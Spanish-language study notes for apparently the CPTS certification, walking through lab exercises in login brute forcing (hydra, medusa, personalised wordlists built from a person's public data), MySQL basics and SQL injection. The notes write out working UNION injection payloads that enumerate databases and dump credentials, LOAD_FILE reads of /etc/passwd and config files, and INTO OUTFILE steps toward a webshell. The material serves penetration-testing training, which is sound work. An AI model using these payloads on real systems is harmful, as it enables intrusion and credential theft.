![[Pasted image 20260708185346.png]]
![[Pasted image 20260708185429.png]]
Inicio de sesion en FTP:
ftp ftp://USER:PASS@IP
![[Pasted image 20260708185504.png]]
Ejemplo practico
- Hacemos fuerza bruta sobre el ssh del host por el puerto que nos ha dado la maquina
![[Pasted image 20260708190223.png]]
![[Pasted image 20260708190756.png]]
- Tras conseguir las credenciales nos conectamos via ssh
![[Pasted image 20260708190231.png]]
- Dentro vemos que hay un servicio FTP escuchando
![[Pasted image 20260708190237.png]]
- Tras mirar los usuarios realizamos un ataque de fuerza bruta desde el host hacia el localhost y obtenemos las credenciales para conectarnos
![[Pasted image 20260708190556.png]]![[Pasted image 20260708190608.png]]
- Nos conectamos y obtenemos la flag
![[Pasted image 20260708190702.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 5. Wordlists Personalizadas
1. Wordlists Personalizadas
Username Anarchy
Imagina que conocemos el nombre “Jane Smith” podemos usar usernamearnarchy para hacer combinaciones de usernames
sudo apt install ruby -y
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy Jane Smith > jane_smith_usernames.txt
CUPP
Herramienta para crear listas de palabras altamente presonalizadas. La calidad de la wordlist depende de la profundidad y calidad de info recopilada
Para Jane Smith podriamos recopilar info de:
- Redes sociales
- Sitios web
- Registros publicos
- Articulos de noticias y blogs
Ejemplo de datos recopilados:
![[Pasted image 20260708194828.png]]
apt install cupp -y
cupp -i
![[Pasted image 20260708194907.png]]
![[Pasted image 20260708194931.png]]
Al pasar todos esos datos hemos creado una lista de usernames para Jane Smith y una lista de crontraseñas
La politica de contraseñas de la empresa es:
- Longitud minima 6
- Incluir:
- Mayuscula
- Minuscula
- Numero
- Caracter especial
Filtramos la lista de credenciales por la politica de contraseñas:
grep -E '^.{6,}$' jane.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt
Usamos hydra o medusa con las wordlist creadas:
hydra -L USERNAME_WORDLIST.txt -P PASS_WORDLIST.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"
![[Pasted image 20260708195213.png]]
Ejemplo practico
- Creamos una lista de usernames
![[Pasted image 20260708195355.png]]
- Creamos la lista de passwords con los datos recopilados
![[Pasted image 20260708195631.png]]![[Pasted image 20260708195639.png]]
- Miramos e investigamos el POST form de autenticacion
![[Pasted image 20260708195659.png]]![[Pasted image 20260708195707.png]]![[Pasted image 20260708195728.png]]![[Pasted image 20260708195750.png]]
- Una vez que sabemos los parametros del POST form usamos hydra con las wordlists creadas
![[Pasted image 20260708195959.png]]
- Nos logueamos y obtenemos la flag
![[Pasted image 20260708200029.png]]**![[Pasted image 20260708200034.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 6. Skill Assessment
1. Part 1
Tras realizar esta parte obtendremos el nombre de usuario necesario para iniciar la parte 2
Puede que sean utiles: usernames.txt y passwords.txt
-
Visitamos el sitio web y vemos que es un sitio web con un Authentication Basic
![[Pasted image 20260708200434.png]]
-
Realizamos la fuerza bruta sobre el sitio web
![[Pasted image 20260708200602.png]]
- Nos logueamos para obtener el usuario para la parte 2
![[Pasted image 20260708200618.png]]![[Pasted image 20260708200625.png]]
CPTS
3. Explotacion WEB / 3. Login Fuerza Bruta / 6. Skill Assessment
2. Part 2
Usa el nombre que encontramos en la parte 1: satwossh
- Vamos a visitar la pagina web y vemos que no es una pagina web. Al realizar un escaneo del puerto vemos que es un ssh
![[Pasted image 20260708200915.png]]
![[Pasted image 20260708200902.png]]
- Usamos hydra, el usuario que habiamos conseguido en la primera parte y la wordlist de passwords de seclist y obtenemos las credenciales para logearnos en el host
![[Pasted image 20260708201043.png]]![[Pasted image 20260708201116.png]]
- Dentro vemos 3 archivos (una nota importante, una wordlists de passwords y Usernarchy). Al leer la nota importante vemos que el usuario Thomas Smith se habia logueado via ftp y subido archivos potencialmente maliciosos
![[Pasted image 20260708201216.png]]
- Miramos si realmente esta el FTP activado en el host. Tras esto creamos una wordlists de usernames para el usuario y usamos el archivo de passwords para hacer fuerza bruta con medusa sobre FTP
![[Pasted image 20260708201242.png]]![[Pasted image 20260708201400.png]]![[Pasted image 20260708201518.png]]![[Pasted image 20260708201540.png]]
- Conseguimos la credencial, nos logueamos y obtenemos la flag
![[Pasted image 20260708201652.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 1. Introduccion
1. Introduccion
La mayoria de aplicaciones usan una BBDD en el backend para almacenar y recuperar datos relacionados con la aplicacion web
Para que la pagina web sea dinamica esta tiene que interactuar con la BBDD en tiempo real
![[Pasted image 20260711175038.png]]
Cuando un usuario intenta pasar una entrada que modifica la consulta SQL final enviada por la aplicacion web permitiendo realizar otras consultas SQL no deseadas –> SQL Injection o NoSQL Injection
Para lograrlo hay que inyectar codigo fuera de los limites esperados de la entrada de usuario para que no se ejecute como una simple entrada
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 2. Bbdd
1. Introduccion A Las Bases De Datos
Sistemas de Gestion de BBDD
Ayuda a crear, definir, alojar y gestionar bases de datos
Arquitectura de 2 niveles
![[Pasted image 20260711180036.png]]
NIVEL 1 Frontend: aplicaciones del lado del cliente como sitios web o programas GUI que consisten en interacciones de alto nivel (como inicios de sesion de usuario)
NIVEL 2 Backend: los datos de estas interacciones pasan al nivel 2 a traves de llamadas APIs u otras solicitudes. Este es un middleware que intercepta los eventos y los convierte a la forma requerida para la DBMS
DBMS: recoge las consultas del NIVEL2 y realiza las operaciones solicitadas (inserccion, recuperacion, eliminacion o actualizacion)
Es posible tener el backend y el DBMS en el mismo host
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 2. Bbdd
2. Tipos De Bases De Datos
Bases de datos relacionales
Usa esquemas, que son plantillas para dictar la estructura de la base de datos almacenada
Las tablas (entidades) de una BBDD relacional se asocian entre ellas con claves (keys) que proporcionan un resumen rapido de la base de datos o acceso a la fila/columna. Todas las tablas estan relacionadas entre si usando keys
Ejemplo: tabla/entidad users que tiene columnas (id. username, firstname), id puede actuar como key y usarse en otras tablas para relacionarlas con la tabla users
![[Pasted image 20260711181030.png]]
Bases de datos No relacionales
No usa tablas, filas y columnas ni kjeys primearias, relaciones o esquemas. Almacena los datos usando varios metodos dependiendo de los datos almacenados:
- Clave-Valor
- Basado en documentos
- De columna ancha
- De grafos
Ejemplo clave-valor:
![[Pasted image 20260711181221.png]]![[Pasted image 20260711181250.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 3. Mysql
1. Introduccion A Mysql
Linea de comandos
Inicios de sesion
- Sin contraseña en la linea de comandos
mysql -u USER -p --ssl=0
![[Pasted image 20260711181356.png]]
- Con contraseña en linea de comandos
mysql -u USER -pPASS --ssl=0
![[Pasted image 20260711181447.png]]
mysql -u USER -h IP/hostname -P 3306 -p --ssl=0
![[Pasted image 20260711181620.png]]
Ver privilegios
SHOW GRANTS;
Creando una base de datos
Crear bases de datos:
CREATE DATABASE nombre;
![[Pasted image 20260711181734.png]]
Ver y usar bases de datos:
SHOW DATABASES;
USE nombre;
![[Pasted image 20260711181935.png]]
Tablas
Las tablas estan formadas por filas horizontales y columnas verticales. La interseccion entre una fila y una columna es una celda
- Creacion de una tabla “logins” que almacena datos de usuarios usando CREATE TABLE:
CREATE TABLE logins (id INT, username VARCHAR(100), password VARCHAR(100), data_of_joining DATETIME)
![[Pasted image 20260711182222.png]]
- Ver tablas
SHOW TABLES;
![[Pasted image 20260711182319.png]]
- Ver estructura de la tabla
DESCRIBE nombre;
![[Pasted image 20260711182345.png]]
Propiedades de las tablas
- Establecer una columna que se autoincremente
columna INT NOT NULL AUTO_INCREMENT,
- Hacer que una columna no deje celdas vacias
columna VARCHAR(100) UNIQUE NOT NULL,
- Especificar un valor por defecto
columna DATETIME DEFAULT NOW(),
- Establecer una columna como clave primaria para identificar de forma unica una tabla y poder relacionarla con otras tablas
PRIMARY KEY (columna)
![[Pasted image 20260711182738.png]]
Ejemplo practico
- Nos conectamos al DBMS y sacamos el nombre de la primera BBDD
![[Pasted image 20260711183120.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 3. Mysql
2. Sentencias SQL
INSERT
Añadir nuevos registros a una tabla determinada
INSERT INTO tabla VALUES (columan1_VALOR, columna2_VALOR...);
![[Pasted image 20260711183342.png]]
Podemos añadir valores a columnas especificasÑ
INSERT INTO tabla(columna1, columna4..) VALUES(columna1_VALOR, colunma4_VALOR...)
![[Pasted image 20260711184022.png]]
Podemos añadir varias filas con valores:
INSERT INTO tabla(columna1, columna4...) VALUES (columna1_VALOR, columna4_VALOR), (columna1_VALOR, columna4_VALOR)
![[Pasted image 20260711184216.png]]
SELECT
Ver contenido de las tablas
- Ver todo
SELECT * FROM tabla;
- Ver columnas determinadas de tablas
SELECT columna1, columna2 FROM tabla;
![[Pasted image 20260711212230.png]]
DROP
Eliminar tablas y bases de datos
DROP TABLE tabla;
![[Pasted image 20260711212307.png]]
ALTER
Cambiar nombres de tablas o de campos, eliminar o añadir columnas a una tabla existente
- Añadir columna
ALTER TABLE tabla ADD nuevaColumna INT;
![[Pasted image 20260711212432.png]]
- Renombrar columna
ALTER TABLE tabla RENAME COLUMN columna TO nuevaColumna;
![[Pasted image 20260711212514.png]]
- Cambiar el tipo de dato de una columna
ATER TABLE tabla MODIFY nuevaColumna DATE;
![[Pasted image 20260711212554.png]]
- Eliminar columna
ALTER TABLE tabla DROP nuevaColumna;
![[Pasted image 20260711212619.png]]
Update
Actualizar registros especificos dentro de una tabla
UPDATE tabla SET columna1=nuevoValor, columna2=nuevoValor WHERE <condicion>;
![[Pasted image 20260711212733.png]]
Ejemplo practico
- Nos conectamos al DBMS y miramos la BBDD que existen
![[Pasted image 20260711213132.png]]
- Miramos las tablas y vemos la tabla departments
![[Pasted image 20260711213143.png]]
- Miramos la composicion de la tabla y sacamos la informacion del departamento Development
![[Pasted image 20260711213150.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 3. Mysql
3. Query Results
ORDER BY
Ordenar resultados especificando la columna
SELECT * FROM tabla ORDER BY columna;
![[Pasted image 20260711213722.png]]
Se puede hacer tambien de forma descendente:
SELECT * FROM tabla ORDER BY columna DESC;
![[Pasted image 20260711213800.png]]
Se pueden ordenar teniendo en cuenta dos columnas por si hay registros repetitivos en la primera
SELECT * FROM tabla ORDER BY columna1 DESC, columna2 ASC;
![[Pasted image 20260711213857.png]]
LIMIT
Limitar el numero de resultados de salida
SELECT * FROM tabla LIMIT N;
![[Pasted image 20260711213953.png]]
Si quisieramos LIMITAR el numero de resultados de la salida pero ademas que se mostraran desde X fila, podemos especificar el numero de desplazamientos. En el siguiente ejemplo se desplaza 1 la salida por lo que salen los resultados 2 y 3 en vez de 1 y 2
SELECT * FROM tabla LIMIT N_desplazamiento, N_salidas;
![[Pasted image 20260711214117.png]]
WHERE
Filtrar o buscar resultados especificos
SELECT * FROM tabla WHERE <condicion>;
![[Pasted image 20260711214225.png]]![[Pasted image 20260711214244.png]]
LIKE
Seleccionar registros haciendo coincidir un patron determinado
SELECT * FROM tabla WHERE columna LIKE 'patron';
![[Pasted image 20260711214414.png]]
![[Pasted image 20260711214546.png]]
% actua como comodin y coincide con todos los caracteres despues del patron admin
_ se usa para que coincida con un caracter. En el ejemplo como se ponen 3 _ la salida muestra usernames con 3 caracteres
Ejemplo practico
- Nos conectamos al DBMS y miramos BBDD y tablas
![[Pasted image 20260711214953.png]]
- Miramos la composicion de la tabla employees y creamos una condicion para ver el last name del empleado que su first name empieza por ‘Bar’ y su fecha de contratacion fue en 1990-01-01
![[Pasted image 20260711214934.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 3. Mysql
4. Operadores
AND o &&
Toma dos condicionaes y devuelve true o false
condicion1 AND condicion2
SELECT 1=1 AND 'test' = 'test';
![[Pasted image 20260711220235.png]]
SELECT 1=1 AND 'test' = 'abc'
![[Pasted image 20260711220258.png]]
OR o ||
Toma dos expresiones y devuelve true cuando al menos una se cumple
condicion1 OR condicion2
SELECT 1=1 OR 'test' = 'abc'
![[Pasted image 20260711220409.png]]
SELECT 1=2 OR 'test' = 'abc'
![[Pasted image 20260711220436.png]]
NOT o !
Simplemente devuelve el valor contrario a una condicion
NOT condicion
SELECT NOT 1=1;
![[Pasted image 20260711220522.png]]
SELECT NOT 1=2;
![[Pasted image 20260711220535.png]]
Operadores en consultas
Ejemplos:
SELECT * FROM tabla WHERE columna != 'patron';
![[Pasted image 20260711220723.png]]
SELECT * FROM tabla WHERE columna != 'patron' AND columa > N;
![[Pasted image 20260711220751.png]]
Precedencia de multiples operadores
SQL soporta varias operaciones como suma, division… Lista de precedencia:
- División (
/), Multiplicación (*) y Módulo (%)
- Suma (
+) y resta (-)
- Comparación (
=, >, <, <=, >=, !=, LIKE)
- NOT (
!)
- AND (
&&)
- OR (
||)
Las operaciones de la parte superior de la lista se realizan antes que las de abajo
SELECT * FROM logins WHERE username != 'tom' AND id > 3 - 2;
Primero la resta luego la comparacion del ud, luego el not y por ultimo el AND
![[Pasted image 20260711220947.png]]
Ejemplo practico
- Nos conectamos al DBMS y vemos BBDD y tablas
![[Pasted image 20260711221034.png]]
- Ejecutamos la consulta en titles donde el numero de empleado es mayor a 10000 y no contiene engineer en su title. Vemos que las rows son 654
![[Pasted image 20260711221251.png]]![[Pasted image 20260711221302.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 4. SQL Injections
1. Introduccion A SQL Injections
Uso de SQL en Aplicaciones Web
Una vez que la DBMS esta instalada y configurada en el servidor backend, las aplicaciones web pueden usarlo
Ejemplo de conexion y uso de BBDD en aplicacion web basada en PHP:
![[Pasted image 20260712125837.png]]
La salida se guardara en la variable result ya sea para imprimirla o usarla de cualquier manera
![[Pasted image 20260712125919.png]]
Tambien se suele coger la entrada del usuario para recuperar datos. Este ejemplo podria ser asociado a la logica de una busqueda de usuarios:
![[Pasted image 20260712130035.png]]
Si no se sanetiza la entrada puede causar grandes problemas
Inyeccion SQL
Se produce cuando se introduce en la cadena de consulta SQL sin sanetizar la entrada
Usamos el ejemplo de codigo anterior:
![[Pasted image 20260712130411.png]]
La consulta seria:
![[Pasted image 20260712130432.png]]
Si ponemos admin seria %admin. Como no esta sanetizada podriamos poner:
1'; DROP TABLE users;'
Se leeria asi:
![[Pasted image 20260712130641.png]]
Esto devolvera un error porque en MySQL no se puede terminar con una comilla simple que no este cerrada:
![[Pasted image 20260712130802.png]]
Tipos de inyeccion
![[Pasted image 20260712131158.png]]
-
Inband: la salida se puede leer en el front end
- Union based: es posible que tengamos que especificar la ubicacion exacta (columna para que pueda imprimirse)
- Error based: se usa cuando podemos obtener errores PHP o SQL en el frontend
-
Blind: no se tiene salida por lo que es posible que tengamos que recuperar la salida caracter por caracter
- Boolean based: sentencias condicionales SQL para controlar si la pagina devuelve alguna salida (ejemplo: la salida original si el condicional es true)
- Time based: sentencias condicionales que retrasan la respuesta de la pagina si la sentencia condicional devuelve true (usando sleep())
-
Out of band: no tenemos acceso directo a la salida en absoluto por lo que podriamos tener que dirigir la salida a una ubicacion remota (ejemplo: a un registro DNS y recuperarla desde alli)
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 4. SQL Injections
2. Subvertir La Logica De La Consulta
Primero aprenderemos a modificar la consulta original usando ‘OR’ y con comentarios SQL
Elusion de autenticacion
Tenemos la siguiente pagina:
![[Pasted image 20260712132012.png]]
Podemos iniciar sesion con –> admin:p@ssw0rd
![[Pasted image 20260712132044.png]]
Se nos muestra la logica. La pagina recibe el username AND password. Si ambos son true estamos logueados, si no no podremos entrar
![[Pasted image 20260712132141.png]]
Descubrimiento de SQL Injections
Primero hay que ver si el formulario es vulnerable a SQLi. Probaremos con los siguientes payloads:
![[Pasted image 20260712132307.png]]
Habra casos en los que necesitemos usar la version URL (como cuando el payload lo ponemos directamente en la URL en una solicitud HTTP GET)
Ejemplo poniendo una comilla simple:
![[Pasted image 20260712132436.png]]
![[Pasted image 20260712132510.png]]
Hay un error en vez de un Login Failed ya que se genera un numero impar de comillas simples. Podriamos probar poner doble comilla simple o comentar el resto de la consulta y escribir lo que queda antes del comentario como parete de nuestra inyeccion
Inyeccion OR
Para eludir la autenticacion necesitariamos que la consulta devuelve TRUE independientemente del nombre de usuario y contraseña
AND se resolvera antes que OR
- Inyeccion:
![[Pasted image 20260712133718.png]]
- Consulta completa
![[Pasted image 20260712133735.png]]
- Salida true (se ejecuta el and y da false. Se ejecuta el or con la salida del and y da true)
![[Pasted image 20260712133814.png]]
![[Pasted image 20260712133836.png]]
Si la parte del or tampoco fuera true entonces tendriamos un error de login
![[Pasted image 20260712133908.png]]
![[Pasted image 20260712133901.png]]
Otra opcion es la siguiente:
![[Pasted image 20260712133943.png]]
O la variante en la que no introducimos datos:
![[Pasted image 20260712134000.png]]
Ejemplo practico
- Accedemos a la pagina web
![[Pasted image 20260712134058.png]]
- Probamos a logguearnos con admin y nos devuelve la logica
![[Pasted image 20260712134122.png]]![[Pasted image 20260712134129.png]]
- Usamos distintas variantes de OR para loguearnos con el usuario tom
![[Pasted image 20260712134301.png]]![[Pasted image 20260712134306.png]]
![[Pasted image 20260712134524.png]]![[Pasted image 20260712134530.png]]
![[Pasted image 20260712134702.png]]![[Pasted image 20260712134710.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 4. SQL Injections
3. Usando Comentarios
2 tipos de comentarios:
![[Pasted image 20260712135305.png]]
Con el comentario omitimos la logica que viene detras de este
![[Pasted image 20260712135327.png]]![[Pasted image 20260712135335.png]]
Uso de parentesis
SQL permite el uso de parentesis para comprobar unas condiciones antes que otras
En la siguiente logica a parte de comprobar el usuario y contraseña hace que cualquiera que se registre tenga id > 1 lo que impide que nadie se loguee como admin
![[Pasted image 20260712135447.png]]
Ni usando las credenciales validas:
![[Pasted image 20260712135637.png]]
Con otro usuario si se puede:
![[Pasted image 20260712135658.png]]
Podemos omitir la logica del > con comentarios y cierre de parentesis:
![[Pasted image 20260712135805.png]]
Ejemplo practico
- Nos tratamos de loguear con el usuario con id 5
![[Pasted image 20260712135939.png]]![[Pasted image 20260712140013.png]]
![[Pasted image 20260712140857.png]]![[Pasted image 20260712140918.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 4. SQL Injections
4. Clausula Union
En esta inyeccion se ejecutan consultas completas junto con la original
UNION
UNION sirve para combinar la salida de dos consultas
![[Pasted image 20260713111333.png]]![[Pasted image 20260713111341.png]]
![[Pasted image 20260713111348.png]]
Numero de columnas
Numero igual
Si hacemos una consulta UNION entre dos tablas con distinto numero de columnas dara error
![[Pasted image 20260713111454.png]]
Para remediarlo hay 2 opciones:
- A la tabla que tiene mas columnas, debemos especificar que se muestren el numero de columnas que queremos. Ejemplo si queremos mostrar dos columnas que queramos:
SELECT * FROM tabla_pequeña WHERE columna='ALGO%' UNION SELECT columna1, columna2 FROM tabla_grande WHERE columna1='ALGO%';
- Rellenar la tabla con menos columnas con columnas con datos junk
SELECT columna1, 2, 3, 4 FROM tabla_pequeña WHERE columna='ALGO%' UNION SELECT * FROM tabla_grande WHERE columna1='ALGO%';
![[Pasted image 20260713112409.png]]
Ejemplo practico
- Nos conectamos a MySQL y encontramos el numero de registros cuando unimos la salida de employees y departments
Nos conectamos a la DBMS y miramos BBDD y tablas
![[Pasted image 20260713112608.png]]
Miramos la composicion de las tablas que nos piden y vemos que tienen diferente numero de columnas
![[Pasted image 20260713112644.png]]
Para usar UNION rellenamos con junk data la tabla con menor numero de columnas hasta que llegue al numero de columnas de la tabla mas grande. El numero de salidas se ve en el numero de filas al final
![[Pasted image 20260713112918.png]]![[Pasted image 20260713112928.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 4. SQL Injections
5. Union Injection
Ejemplo:
![[Pasted image 20260713113423.png]]
Vemos que podria ser posible una inyeccion SQL en el parametro port_code en la URL ya que busca en una tabla que puede ser perfectamente una BBDD. Si ponemos ’ sale un error de la BBDD MariaDB
![[Pasted image 20260713113546.png]]
Este error nos indica que la pagina es vulnerable a SQLi
Detectar numero de columnas
Primero necesitamos saber el numero de columnas. 2 Metodos
- ORDER BY N: esta sentencia ordena por el numero de la columna que le pasamos (ORDER BY 1 ordenara por la columna1, ORDER BY 2 ordenara por la columna2…) asi hasta llegar a un numero que obtengamos un error
![[Pasted image 20260713113822.png]]![[Pasted image 20260713113912.png]]![[Pasted image 20260713113919.png]]
- UNION: usaremos UNION para que nos muestre el numero de columnas que especifiquemos hasta que deje de salir un error (’ UNION SELECT 1 muestra un columna, ’UNION SELECT 1,2 muestra 2 columnas…) como UNION solo funciona cuando ambas consultas tengan el mismo numero de columnas, no se mostrara hasta que no llegue al numero igual
![[Pasted image 20260713114149.png]]![[Pasted image 20260713114155.png]]
Ubicacion de la inyeccion
Como vemos al ser 4 columnas y tener 3 de salida por pantalla solo vemos las columnas 2,3,4 y no la 1
![[Pasted image 20260713114237.png]]
Podemos colocar el payload de explotacion para conseguir informacion en una de las columnas que salgan impresas:
UNION SELECT 1,@@version,3,4
![[Pasted image 20260713114533.png]]
Ejemplo practico
- Entramos a la pagina web y buscamos sin poner nada para que nos salgan todos los resultados
![[Pasted image 20260713114653.png]]
- Al hacer esto vemos que estamos realizando una consulta http get usando el parametro port_code
![[Pasted image 20260713114736.png]]
- Si buscamos por MY vemos que el valor de MY se coloca en el valor del parametro por lo que es lo mismo hacerlo en el buscador que en la URL directamente
![[Pasted image 20260713114748.png]]
- Vamos mirando el numero de columnas que tiene y encontramos un total de 4 y se muestran la 2,3, y 4
![[Pasted image 20260713114819.png]]
![[Pasted image 20260713114830.png]]
- Colocamos el payload en una de las columnas que muestran la salida
![[Pasted image 20260713115325.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 5. Explotation
1. Enumeracion De Bbdd
Fingerprinting de MySQL
Primero debemos saber a que DBMS nos estamos enfrentando porque las consultas pueden variar
- Apache o Nginx –> Suele ser Linux –> Suele ser MySQL
- IIS –> Microsoft –> Suele ser MSSQL
![[Pasted image 20260713120004.png]]![[Pasted image 20260713120204.png]]
BBDD
Contiene los metadatos de las BBDD y tablas existentes
- Para hacer referencia a una tabla de otra BBDD:
SELECT * FROM BBDD.tabla;
De esta forma podemos mirar las tablas con el contenido de INFORMATION_SCHEMA:
- SCHEMATA: contiene informacion sobre todas las BBDD del servidor (para obtener nombres)
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
![[Pasted image 20260713120601.png]]
Ahora lo usamos como payload:
' UNION SELECT 1,SCHEMA_NAME,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
![[Pasted image 20260713120706.png]]
Vamos a ver que BBDD esta ejecutando la web con database() (en este caso la de ilfreight):
' UNION SELECT 1,database(), 3, 4 -- -
![[Pasted image 20260713120854.png]]
Tablas
Para conocer el nombre de las tablas de una BBDD usaremos INFORMATION_SCHEMA.TABLES y las columnas TABLE_NAME, TABLE_SCHEMA
' UNION SELECT 1, TABLE_NAME, TABLE_SCHEMA, 4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'dev'-- -
![[Pasted image 20260713121544.png]]
Columnas
Para conocer las columnas que tiene la tabla volveremos a usar INFORMATION_SCHEMA.COLUMNS con los nombres de columna COLUMN_NAME, TABLE_NAME, TABLE_SCHEMA
' UNION SELECT 1, COLUMN_NAME, TABLE_NAME, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='credentials'-- -
![[Pasted image 20260713121801.png]]
Datos
Ya podemos especificar las columnas de una tabla usando los nombres de las columnas y bbdd.tabla
' UNION SELECT 1, USERNAME, PASSWORD, 4 FROM dev.credentials-- -
![[Pasted image 20260713121915.png]]
Ejemplo practico
Pass del usuario newuser en la tabla ilfreight
-
Miramos las BBDD que hay en el DBMS
![[Pasted image 20260713122758.png]]
-
Miramos la BBDD que se esta usando y es la que necesitamos
![[Pasted image 20260713122144.png]]
- Miramos las tablas que hay dentro de la BBDD ilfreight
![[Pasted image 20260713122314.png]]
- Miramos las columnas que tiene la tabla users
![[Pasted image 20260713122501.png]]![[Pasted image 20260713122512.png]]
- Realizamos una consulta a users y miramos su password
![[Pasted image 20260713122601.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 5. Explotation
2. Leyendo Archivos
Privilegios
Debemos tener el privielgio FILE para cargar contenido de un archivo en una tabla
- Miramos nuestro usuario
' UNION SELECT 1, user(), 3, 4 -- -
' UNION SELECT 1, user, 3, 4 FROM mysql.user -- -
![[Pasted image 20260713123323.png]]
- Miramos privilegios de usuario
- Privs de superusuario: (Y –> privs de superusuario)
' UNION SELECT 1, super_priv FROM mysql.user WHERE user='USER' -- -
![[Pasted image 20260713123421.png]]
- Otros privs (Si tenemos FILE –> podemos leer)
' UNION SELECT 1, grantee, privilege_type, 4 FROM INFORMATION_SCHEMA.user_privileges WHERE grantee="'USER'@'localhost'" -- -
![[Pasted image 20260713124939.png]]
![[Pasted image 20260713123838.png]]
LOAD_FILE
Se usa para ller archivos del sistema
' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4 -- -
![[Pasted image 20260713124023.png]]
Si leer archivos .php. Como vemos en este caso se renderiza por lo que si hacemos CTL U veremos incrustado el codigo PHP. En este caso lo haremos con lo que es el buscador
' UNION SELECT 1, LOAD_FILE('/var/www/html/search.php'), 3, 4-- -
![[Pasted image 20260713124106.png]]
Le damos a CTL+U
![[Pasted image 20260713124139.png]]
Ejemplo practico
Hemos visto en el codigo PHP que $conn no esta definido aqui, por lo que seguramente este importado. Buscamos las credenciales de la BBDD que seguramente esten establecidas en la variable $conn
- Miramos nuestro usuario
![[Pasted image 20260713124549.png]]
- Miramos si tenemos privs de superadmin
![[Pasted image 20260713124640.png]]
- Miramos si tenemos privs de lectura
![[Pasted image 20260713124917.png]]
- Miramos el archivo search.php y encontramos que hay una importacion de config.php
![[Pasted image 20260713125134.png]]![[Pasted image 20260713125217.png]]
- Leemos config.php y ahi esta la contraseña
![[Pasted image 20260713125239.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 5. Explotation
3. Escribiendo Archivos
Esta esta mucho mas restringida en los DBMS modernos
Privilegios
Se necesitan 3 cosas:
- Uusario con privilegio FILE
- Variable global secure_file_priv no habilitada (esta se usa para determinar desde donde se puede leer/escribir, si esta NULL=desde ningun directorio y si esta vacio desde cualquiera)
- Acceso de escritura a la ubicacion en la que queremos escribir
- Miramos si tenemos variable FILE
' UNION SELECT 1, user(), 3, 4 -- -
![[Pasted image 20260713130916.png]]
' UNION SELECT 1, grantee, privilege_type, 4 FROM INFORMATION_SCHEMA.user_privileges WHERE grantee="'USER'@'localhost'" --- -
![[Pasted image 20260713130939.png]]
- Miramos si la variable secure_file_priv esta habilitada
' UNION SELECT 1, VARIABLE_NAME, VARIABLE_VALUE, 4 FROM INFORMATION_SCHEMA.GLOBAL_VARIABLES WHERE VARIABLE_NAME="secure_file_priv" -- -
![[Pasted image 20260713131312.png]]
INTO OUTFILE
Se usa oara escribir datos de consultas SELECT en archivos
SELECT * FROM tabla INTO OUTFILE '/RUTA/ARCHIVO';
![[Pasted image 20260713131445.png]]![[Pasted image 20260713131459.png]]
SELECT 'Hola Mundo'INTO OUTFILE '/RUTA/ARCHIVO';
![[Pasted image 20260713131545.png]]![[Pasted image 20260713131550.png]]
Si es un contenido complejo o algo se pasa en BASE64:
SELECT FROM_BASE64('BASE64') INTO OUTFILE '/RUTA/ARCHIVO';
Escribir en una SQLi
- Tenemos que escribir dentro del webroot que se puede encontrar en:
Apache –> /etc/apache2/apache2.conf
Nginx –> /etc/nginx/nginx.conf
IIS –> %WinDir%\System32\Inetsrv\Config\ApplicationHost.config
- Escribimos un archivo en el webroot y lo visitamos
' UNION SELECT "", 'Hola Mundo', "", "" INTO OUTFILE '/var/www/html/proof.txt'-- -
Ponemos “” ya que hara que la salida sea mas limpia y no se escriban 1, 3 y 4 en el contenido como en el siguiente ejemplo
![[Pasted image 20260713132046.png]]
Escribiendo una webshell
![[Pasted image 20260713132319.png]]
-
Escribimos la consulta
![[Pasted image 20260713132354.png]]
![[Pasted image 20260713132402.png]]
-
Accedemos a la ruta y ejecutamos comandos como parte de parametros http get
![[Pasted image 20260713132438.png]]
Ejemplo practico
- Miramos nuestro usuario
![[Pasted image 20260713133419.png]]
- Miramos nuestros privilegios y tenemos
FILE
![[Pasted image 20260713133541.png]]
- Miramos el contenido de
SECURE_FILE_PRIV y esta vacio por lo que podremos escribir desde cualquier directorio
![[Pasted image 20260713133739.png]]
- Escribimos el reverse shell, lo visitamos y obtenemos la flag
![[Pasted image 20260713134147.png]]
![[Pasted image 20260713134214.png]]![[Pasted image 20260713134324.png]]![[Pasted image 20260713134339.png]]
CPTS
3. Explotacion WEB / 4. SQL Injection Fundamentos / 6. Skill Assessment
1. Skill Assessment
Escenario
Nos han contratado para una prueba de pentesting en una aplicacion web y estan preocupados por el SQLi
![[Pasted image 20260713135239.png]]
La pagina esta en HTTPS por lo que si usamos Proxies como Burp o ZAP debemos tener instalada la CA o usar el browser preconfigurado del Proxy. Se explica en [[1. Setup]] en Usando Web Proxies
Ejercicio
Cual es el password de admin
- Visitamos la pagina web y vemos un panel de login
![[Pasted image 20260713135915.png]]
- Tratamos de hacer SQLi basico pero no obtenemos resultados y la salida de error solo nos dice que la contraseña o usuario son incorrectos
![[Pasted image 20260713135946.png]]
- Tras realizar muchas pruebas en los dos campos no vimos nada por lo que probamos a crearnos una cuenta
